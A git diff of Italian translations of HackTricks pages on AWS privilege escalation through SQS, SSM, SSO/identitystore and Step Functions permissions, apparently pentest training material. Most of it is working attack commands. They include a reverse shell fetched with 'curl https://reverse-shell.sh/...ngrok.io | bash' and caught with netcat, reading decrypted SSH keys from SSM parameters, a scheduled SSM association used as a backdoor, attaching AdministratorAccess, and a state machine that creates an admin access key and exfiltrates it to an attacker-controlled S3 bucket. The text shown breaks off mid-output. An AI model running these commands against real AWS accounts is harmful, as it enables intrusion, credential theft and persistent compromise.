-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Impatto Potenziale**: Sfruttamento della vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Un attaccante potrebbe ricevere, eliminare o modificare la visibilità dei messaggi in una coda SQS, causando perdita di messaggi, corruzione dei dati o interruzione del servizio per le applicazioni che dipendono da quei messaggi.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Impatto Potenziale**: Rubare informazioni sensibili, perdita di messaggi, corruzione dei dati e interruzione del servizio per le applicazioni che dipendono dai messaggi interessati.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
new file mode 100644
index 000000000..9186d9ba3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
@@ -0,0 +1,40 @@
+# AWS - SQS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Per maggiori informazioni vedi:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:AddPermission`
+
+Un attacker potrebbe usare questa permission per concedere ad utenti o servizi non autorizzati l'accesso a una SQS queue creando nuove policies o modificando policies esistenti. Questo potrebbe comportare accesso non autorizzato ai messaggi nella queue o la manipolazione della queue da parte di entità non autorizzate.
+```bash
+aws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
+```
+**Impatto potenziale**: Accesso non autorizzato alla coda, esposizione dei messaggi o manipolazione della coda da parte di utenti o servizi non autorizzati.
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Un attaccante potrebbe inviare messaggi malevoli o indesiderati alla coda SQS, causando potenzialmente corruzione dei dati, l'attivazione di azioni non previste o l'esaurimento delle risorse.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Impatto potenziale**: sfruttamento di vulnerabilità, corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Un attacker potrebbe ricevere, eliminare o modificare la visibilità dei messaggi in una SQS queue, causando perdita di messaggi, corruzione dei dati o interruzione del servizio per le applicazioni che dipendono da quei messaggi.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Impatto potenziale**: Rubare informazioni sensibili, perdita di messaggi, corruzione dei dati e interruzione del servizio per le applicazioni che dipendono dai messaggi interessati.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
deleted file mode 100644
index 247f44b67..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - SSM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Per ulteriori informazioni su SSM controlla:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `ssm:SendCommand`
-
-Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** in esecuzione al suo interno.
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
-```
-Nel caso in cui tu stia utilizzando questa tecnica per elevare i privilegi all'interno di un'istanza EC2 già compromessa, potresti semplicemente catturare la rev shell localmente con:
-```bash
-# If you are in the machine you can capture the reverseshel inside of it
-nc -lvnp 4444 #Inside the EC2 instance
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
-```
-**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con SSM Agents attivi.
-
-### `ssm:StartSession`
-
-Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il Ruolo IAM** in esecuzione al suo interno.
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm start-session --target "$INSTANCE_ID"
-```
-> [!CAUTION]
-> Per avviare una sessione è necessario avere installato il **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
-
-**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents attivi.
-
-#### Privesc a ECS
-
-Quando i **compiti ECS** vengono eseguiti con **`ExecuteCommand` abilitato**, gli utenti con permessi sufficienti possono utilizzare `ecs execute-command` per **eseguire un comando** all'interno del contenitore.\
-Secondo [**la documentazione**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), questo avviene creando un canale sicuro tra il dispositivo utilizzato per avviare il comando “_exec_” e il contenitore di destinazione con SSM Session Manager. (Plugin SSM Session Manager necessario affinché questo funzioni)\
-Pertanto, gli utenti con `ssm:StartSession` saranno in grado di **ottenere una shell all'interno dei compiti ECS** con quell'opzione abilitata semplicemente eseguendo:
-```bash
-aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
-```
-![](<../../../images/image (185).png>)
-
-**Impatto Potenziale:** Privesc diretto ai ruoli `ECS`IAM attaccati ai task in esecuzione con `ExecuteCommand` abilitato.
-
-### `ssm:ResumeSession`
-
-Un attaccante con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH in istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il Ruolo IAM** in esecuzione al suo interno.
-```bash
-# Check for configured instances
-aws ssm describe-sessions
-
-# Get resume data (you will probably need to do something else with this info to connect)
-aws ssm resume-session \
---session-id Mary-Major-07a16060613c408b5
-```
-**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse.
-
-### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
-
-Un attaccante con i permessi menzionati sarà in grado di elencare i **parametri SSM** e **leggerli in chiaro**. In questi parametri puoi frequentemente **trovare informazioni sensibili** come chiavi SSH o chiavi API.
-```bash
-aws ssm describe-parameters
-# Suppose that you found a parameter called "id_rsa"
-aws ssm get-parameters --names id_rsa --with-decryption
-aws ssm get-parameter --name id_rsa --with-decryption
-```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei parametri.
-
-### `ssm:ListCommands`
-
-Un attaccante con questo permesso può elencare tutti i **comandi** inviati e sperare di trovare **informazioni sensibili** in essi.
-```
-aws ssm list-commands
-```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno delle righe di comando.
-
-### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
-
-Un attaccante con questi permessi può elencare tutti i **comandi** inviati e **leggere l'output** generato sperando di trovare **informazioni sensibili** in esso.
-```bash
-# You can use any of both options to get the command-id and instance id
-aws ssm list-commands
-aws ssm list-command-invocations
-
-aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
-```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output delle righe di comando.
-
-### Utilizzando ssm:CreateAssociation
-
-Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a un backdoor senza sessioni interattive.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (ad es., `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.
-
-### Codebuild
-
-Puoi anche utilizzare SSM per accedere a un progetto codebuild in fase di costruzione:
-
-{{#ref}}
-aws-codebuild-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
new file mode 100644
index 000000000..48d4ae496
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
@@ -0,0 +1,130 @@
+# AWS - SSM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Per maggiori informazioni su SSM consulta:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `ssm:SendCommand`
+
+Un attacker con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l Amazon SSM Agent e **compromettere il IAM Role** in esecuzione al loro interno.
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
+```
+Nel caso tu stia usando questa tecnica per escalate privileges all'interno di un'istanza EC2 già compromessa, puoi semplicemente catturare il rev shell localmente con:
+```bash
+# If you are in the machine you can capture the reverseshel inside of it
+nc -lvnp 4444 #Inside the EC2 instance
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
+```
+**Impatto potenziale:** Privesc diretto agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents in esecuzione.
+
+### `ssm:StartSession`
+
+Un attacker con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il IAM Role** in esecuzione al loro interno.
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm start-session --target "$INSTANCE_ID"
+```
+> [!CAUTION]
+> Per avviare una sessione hai bisogno del **SessionManagerPlugin** installato: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+
+**Potenziale impatto:** Direct privesc ai ruoli IAM di EC2 associati alle istanze in esecuzione con SSM Agents attivi.
+
+#### Privesc su ECS
+
+Quando **ECS tasks** vengono eseguiti con **`ExecuteCommand` enabled** gli utenti con permessi sufficienti possono usare `ecs execute-command` per **eseguire un comando** all'interno del container.\
+Secondo [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) questo avviene creando un canale sicuro tra il dispositivo che usi per avviare il comando “_exec_“ e il container di destinazione con SSM Session Manager. (SSM Session Manager Plugin necessario per farlo funzionare)\
+Pertanto, gli utenti con `ssm:StartSession` potranno **get a shell inside ECS tasks** con quell'opzione abilitata semplicemente eseguendo:
+```bash
+aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
+```
+![](<../../../images/image (185).png>)
+
+**Impatto potenziale:** Privesc diretto ai ruoli `ECS`IAM allegati ai task in esecuzione con `ExecuteCommand` abilitato.
+
+### `ssm:ResumeSession`
+
+Un attacker con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH su istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il IAM Role** in esecuzione al suo interno.
+```bash
+# Check for configured instances
+aws ssm describe-sessions
+
+# Get resume data (you will probably need to do something else with this info to connect)
+aws ssm resume-session \
+--session-id Mary-Major-07a16060613c408b5
+```
+**Impatto potenziale:** Escalation di privilegi diretta agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents attivi e sessioni disconnesse.
+
+### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
+
+Un attacker con i permessi menzionati sarà in grado di elencare i **SSM parameters** e **read them in clear-text**. In questi parametri si possono frequentemente **trovare informazioni sensibili** come SSH keys o API keys.
+```bash
+aws ssm describe-parameters
+# Suppose that you found a parameter called "id_rsa"
+aws ssm get-parameters --names id_rsa --with-decryption
+aws ssm get-parameter --name id_rsa --with-decryption
+```
+**Impatto potenziale:** Individuare informazioni sensibili all'interno dei parametri.
+
+### `ssm:ListCommands`
+
+Un attaccante con questa autorizzazione può elencare tutti i **comandi** inviati e, auspicabilmente, trovare **informazioni sensibili** in essi.
+```
+aws ssm list-commands
+```
+**Impatto potenziale:** Trovare informazioni sensibili all'interno delle righe di comando.
+
+### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
+
+Un attaccante con queste autorizzazioni può elencare tutte le **commands** inviate e **leggere l'output** generato, sperando di trovare **informazioni sensibili** al suo interno.
+```bash
+# You can use any of both options to get the command-id and instance id
+aws ssm list-commands
+aws ssm list-command-invocations
+
+aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
+```
+**Impatto potenziale:** Trovare informazioni sensibili nell'output delle linee di comando.
+
+### Uso di ssm:CreateAssociation
+
+Un attacker con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per backdoor-like persistence senza interactive sessions.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive né permessi espliciti ssm:SendCommand. **Importante:** il parametro `--schedule-expression` (es., `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti imposto da AWS. Per esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.
+
+### Codebuild
+
+Puoi anche usare SSM per ottenere accesso a un progetto codebuild in fase di build:
+
+{{#ref}}
+../aws-codebuild-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
index b91913950..af91bb46f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
@@ -1,33 +1,33 @@
 # AWS - SSO & identitystore Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AWS Identity Center / AWS SSO
 
-Per ulteriori informazioni su AWS Identity Center / AWS SSO controlla:
+Per maggiori informazioni su AWS Identity Center / AWS SSO consulta:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Nota che per **default**, solo **utenti** con permessi **dalla** **Management Account** potranno accedere e **controllare l'IAM Identity Center**.\
+> Nota che, per **default**, solo gli **utenti** con permessi del **Management Account** potranno accedere e **controllare l'IAM Identity Center**.\
 > Gli utenti di altri account possono farlo solo se l'account è un **Delegated Administrator.**\
-> [Controlla la documentazione per ulteriori informazioni.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
+> [Consulta la documentazione per maggiori informazioni.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
 ### ~~Reset Password~~
 
-Un modo semplice per escalare i privilegi in casi come questo sarebbe avere un permesso che consente di reimpostare le password degli utenti. Sfortunatamente, è possibile solo inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accesso all'email degli utenti.
+Un modo semplice per elevare i privilegi in casi come questo sarebbe avere un permesso che consente di resettare le password degli utenti. Sfortunatamente è possibile soltanto inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accesso alla email dell'utente.
 
 ### `identitystore:CreateGroupMembership`
 
-Con questo permesso è possibile inserire un utente all'interno di un gruppo in modo che erediti tutti i permessi che il gruppo ha.
+Con questo permesso è possibile inserire un utente in un gruppo in modo che erediti tutti i permessi del gruppo.
 ```bash
 aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
 ```
 ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Un attaccante con questo permesso potrebbe concedere permessi aggiuntivi a un Permission Set che è concesso a un utente sotto il suo controllo.
+Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
 ```bash
 # Set an inline policy with admin privileges
 aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
@@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Un attaccante con questo permesso potrebbe concedere permessi aggiuntivi a un Permission Set che è concesso a un utente sotto il suo controllo.
+Un attacker con questo permesso può concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Un attaccante con questo permesso potrebbe concedere permessi aggiuntivi a un Permission Set che è concesso a un utente sotto il suo controllo.
+Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set che è assegnato a un user sotto il suo controllo.
 
 > [!WARNING]
-> Per abusare di questi permessi in questo caso è necessario conoscere il **nome di una policy gestita dal cliente che si trova in TUTTI gli account** che saranno interessati.
+> Per abusare di queste permissions in questo caso devi conoscere il **nome di una customer managed policy che sia presente in TUTTI gli accounts** che verranno interessati.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:CreateAccountAssignment`
 
-Un attaccante con questo permesso potrebbe assegnare un Permission Set a un utente sotto il suo controllo a un account.
+Un attaccante con questa autorizzazione potrebbe assegnare un Permission Set a un utente sotto il suo controllo a un account.
 ```bash
 aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
 ```
 ### `sso:GetRoleCredentials`
 
-Restituisce le credenziali STS a breve termine per un determinato nome di ruolo assegnato all'utente.
+Restituisce le credenziali STS a breve termine per un dato nome del ruolo assegnato all'utente.
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
-Tuttavia, hai bisogno di un token di accesso che non sono sicuro di come ottenere (TODO).
+Tuttavia, è necessario un access token che non sono sicuro di come ottenere (TODO).
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
-Un attaccante con questo permesso può rimuovere l'associazione tra una policy gestita da AWS e il set di permessi specificato. È possibile concedere più privilegi tramite **la disassociazione di una policy gestita (deny policy)**.
+Un attacker con questo permesso può rimuovere l'associazione tra una managed policy di AWS e il permission set specificato. È possibile concedere ulteriori privilegi tramite **la rimozione (detach) di una managed policy (deny policy)**.
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
 ```
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
-Un attaccante con questo permesso può rimuovere l'associazione tra una policy gestita dal cliente e il set di permessi specificato. È possibile concedere più privilegi tramite **la disassociazione di una policy gestita (policy di negazione)**.
+Un attacker con questo permesso può rimuovere l'associazione tra una Customer managed policy e il permission set specificato. È possibile ottenere privilegi aggiuntivi tramite **detaching a managed policy (deny policy)**.
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-Un attaccante con questo permesso può rimuovere le autorizzazioni da una policy inline dal set di autorizzazioni. È possibile concedere **più privilegi staccando una policy inline (policy di negazione)**.
+Un attaccante con questa permission può rimuovere le autorizzazioni di una inline policy associata al permission set. È possibile ottenere **maggiori privilegi rimuovendo (detaching) una inline policy (deny policy)**.
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 ```
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
-Un attaccante con questo permesso può rimuovere il Permission Boundary dal set di permessi. È possibile concedere **più privilegi rimuovendo le restrizioni sul Permission Set** date dal Permission Boundary.
+Un attacker in possesso di questa permission può rimuovere il Permission Boundary dal permission set. È possibile concedere **più privilegi rimuovendo le restrizioni sul Permission Set** imposte dal Permission Boundary.
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
deleted file mode 100644
index f8f405df4..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ /dev/null
@@ -1,231 +0,0 @@
-# AWS - Step Functions Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Per ulteriori informazioni su questo servizio AWS, controlla:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Risorse delle Attività
-
-Queste tecniche di escalation dei privilegi richiederanno l'uso di alcune risorse delle funzioni step di AWS per eseguire le azioni di escalation dei privilegi desiderate.
-
-Per controllare tutte le azioni possibili, puoi andare al tuo account AWS, selezionare l'azione che desideri utilizzare e vedere i parametri che sta utilizzando, come in:
-
-<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
-
-Oppure puoi anche andare alla documentazione API di AWS e controllare la documentazione di ciascuna azione:
-
-- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
-- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
-
-### `states:TestState` & `iam:PassRole`
-
-Un attaccante con i permessi **`states:TestState`** & **`iam:PassRole`** può testare qualsiasi stato e passare qualsiasi ruolo IAM senza creare o aggiornare una macchina a stati esistente, potenzialmente abilitando l'accesso non autorizzato ad altri servizi AWS con i permessi dei ruoli. Combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei flussi di lavoro per alterare i dati a violazioni dei dati, manipolazione delle risorse e escalation dei privilegi.
-```bash
-aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
-```
-I seguenti esempi mostrano come testare uno stato che crea una chiave di accesso per l'utente **`admin`** sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alta privilegio (ad esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consente allo stato di eseguire l'azione **`iam:CreateAccessKey`**:
-
-- **stateDefinition.json**:
-```json
-{
-"Type": "Task",
-"Parameters": {
-"UserName": "admin"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"End": true
-}
-```
-- **Comando** eseguito per eseguire il privesc:
-```bash
-aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
-
-{
-"output": "{
-\"AccessKey\":{
-\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
-\"CreateDate\":\"2024-07-09T16:59:11Z\",
-\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
-\"Status\":\"Active\",
-\"UserName\":\"admin\"
-}
-}",
-"status": "SUCCEEDED"
-}
-```
-**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza.
-
-### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
-
-Un attaccante con **`states:CreateStateMachine`** & **`iam:PassRole`** sarebbe in grado di creare una macchina a stati e fornirle qualsiasi ruolo IAM, abilitando l'accesso non autorizzato ad altri servizi AWS con i permessi del ruolo. A differenza della precedente tecnica di privesc (**`states:TestState`** & **`iam:PassRole`**), questa non si esegue da sola, sarà necessario avere anche i permessi **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **non è disponibile per flussi di lavoro standard**, **solo per macchine a stati espressive**) per avviare un'esecuzione sulla macchina a stati.
-```bash
-# Create a state machine
-aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
-[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
-
-# Start a state machine execution
-aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
-
-# Start a Synchronous Express state machine execution
-aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
-```
-I seguenti esempi mostrano come creare una macchina a stati che crea una chiave di accesso per l'utente **`admin`** ed esfiltra questa chiave di accesso in un bucket S3 controllato dall'attaccante, sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alta privilegio (ad esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consente alla macchina a stati di eseguire le azioni **`iam:CreateAccessKey`** e **`s3:putObject`**.
-
-- **stateMachineDefinition.json**:
-```json
-{
-"Comment": "Malicious state machine to create IAM access key and upload to S3",
-"StartAt": "CreateAccessKey",
-"States": {
-"CreateAccessKey": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"Parameters": {
-"UserName": "admin"
-},
-"ResultPath": "$.AccessKeyResult",
-"Next": "PrepareS3PutObject"
-},
-"PrepareS3PutObject": {
-"Type": "Pass",
-"Parameters": {
-"Body.$": "$.AccessKeyResult.AccessKey",
-"Bucket": "attacker-controlled-S3-bucket",
-"Key": "AccessKey.json"
-},
-"ResultPath": "$.S3PutObjectParams",
-"Next": "PutObject"
-},
-"PutObject": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
-"Parameters": {
-"Body.$": "$.S3PutObjectParams.Body",
-"Bucket.$": "$.S3PutObjectParams.Bucket",
-"Key.$": "$.S3PutObjectParams.Key"
-},
-"End": true
-}
-}
-}
-```
-- **Comando** eseguito per **creare la macchina a stati**:
-```bash
-aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
-{
-"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
